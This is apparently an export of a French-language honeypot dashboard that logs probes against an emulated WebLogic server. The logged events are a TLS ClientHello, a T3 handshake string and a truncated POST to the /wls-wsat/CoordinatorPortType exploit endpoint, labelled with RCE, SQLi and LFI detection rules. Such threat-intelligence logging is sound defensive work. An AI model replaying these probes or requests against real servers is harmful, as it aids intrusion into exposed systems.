"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\ufffd\ufffdV\u01d5\ufffd,\ufffd\u0001\n\u0013o\ufffd\ufffd\ufffd|X\u0346\u0016\ufffdd\/\ufffd\u0010z\ufffd\ufffd\u001f \u001d4}\n\ufffd\ufffd\ufffdiP\ufffd\u0011\ufffd\ufffdF\ufffd[\u0012\ufffd,F\ufffd\f\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd8\ufffd\ufffdV\u01d5\ufffd,\ufffd\no\ufffd\ufffd\ufffd|X\u0346\ufffdd\/\ufffdz\ufffd\ufffd 4}\n\ufffd\ufffd\ufffdiP\ufffd\ufffd\ufffdF\ufffd[\ufffd,F\ufffd\ufffd\ufffd2\ufffd\ufffd\ufffdG\ufffd%\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:51 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�8�+\���j>������',=\�T�@�6��Jy� H�ץ�ʷx� ���~�� j���s?&L/n6�_� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�8�+\���j>������',=\�T�@�6��Jy� H�ץ�ʷx� ���~�� j���s?&L/n6�_� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�8�+\���j>������',=\�T�@�6��Jy� H�ץ�ʷx� ���~�� j���s?&L/n6�_� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9977590083414576,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5f811c73080dc72692e17cdcb9bc3987",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\u0011\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\u001f\ufffd\u000e\ufffd\ufffd~\ufffd\ufffd\u001ej\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\u0011\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\u001f\ufffd\u000e\ufffd\ufffd~\ufffd\ufffd\u001ej\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\u0011\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\u001f\ufffd\u000e\ufffd\ufffd~\ufffd\ufffd\u001ej\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0ca67a82a9b66f6cc3de6c75563f2a112173d541",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\u0011\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\u001f\ufffd\u000e\ufffd\ufffd~\ufffd\ufffd\u001ej\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd8\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\ufffd\ufffd\ufffd~\ufffd\ufffdj\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u00038\u0011\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\u001f\ufffd\u000e\ufffd\ufffd~\ufffd\ufffd\u001ej\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd8\ufffd+\\\ufffd\ufffd\ufffdj>\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd',=\\\ufffdT\ufffd@\ufffd6\ufffd\ufffdJy\ufffd H\ufffd\u05e5\ufffd\u02b7x\ufffd\ufffd\ufffd\ufffd~\ufffd\ufffdj\ufffd\ufffd\ufffds?&L\/n6\ufffd_\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:51 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
t3 12.2.1 AS:255 HL:19 MS:10000000
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
t3 12.2.1
AS:255
HL:19
MS:10000000
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 36,
"payload_entropy": 3.648511114409896,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "c774fdf36465e0ff86b6cbcdac011d2c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"evidence": {
"request_sample": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n",
"payload_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e3f6e61b0b8db97e25e9ab89dd9892388baf41d0",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "t3 12.2.1\nAS:255\nHL:19\nMS:10000000",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
]
}
24/07/2026 09:38:50 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /wls-wsat/CoordinatorPortType
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /wls-wsat/CoordinatorPortType UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
71
Recommandation
Investiguer
Tags
950079:sqli-19
950087:sqli-21
950319:lfi-14
950326:rce-0
Cible HTTP
POST
/wls-wsat/CoordinatorPortType
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/wls-wsat/CoordinatorPortType
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 11 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
WebLogic wls-wsat
CRS 941130
LFI Double-dot bypass
Ligne de requête
POST /wls-wsat/CoordinatorPortType HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
sqli-21
lfi-14
rce-0
rce-14
ssrf-3
nosqli-3
body-entropy
Payload (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.
Requête brute (extrait)
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Content-Length:5107 <soapenv:Envelope xmlns:soapenv="http://schemas.xm
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "99e47b274371fad76141ed1627f3bcdf29dce19a",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.173252037395883,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 10,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 10
},
"risk_score": 80,
"tag_count": 17,
"anomaly_count": 0,
"campaign_key": "ecbb7a893efb0a5925fb7301d16c0dc7960b9853",
"event_fingerprint": "e444dfd56f7cf7dfce78a017248baf6c57b64aa5",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
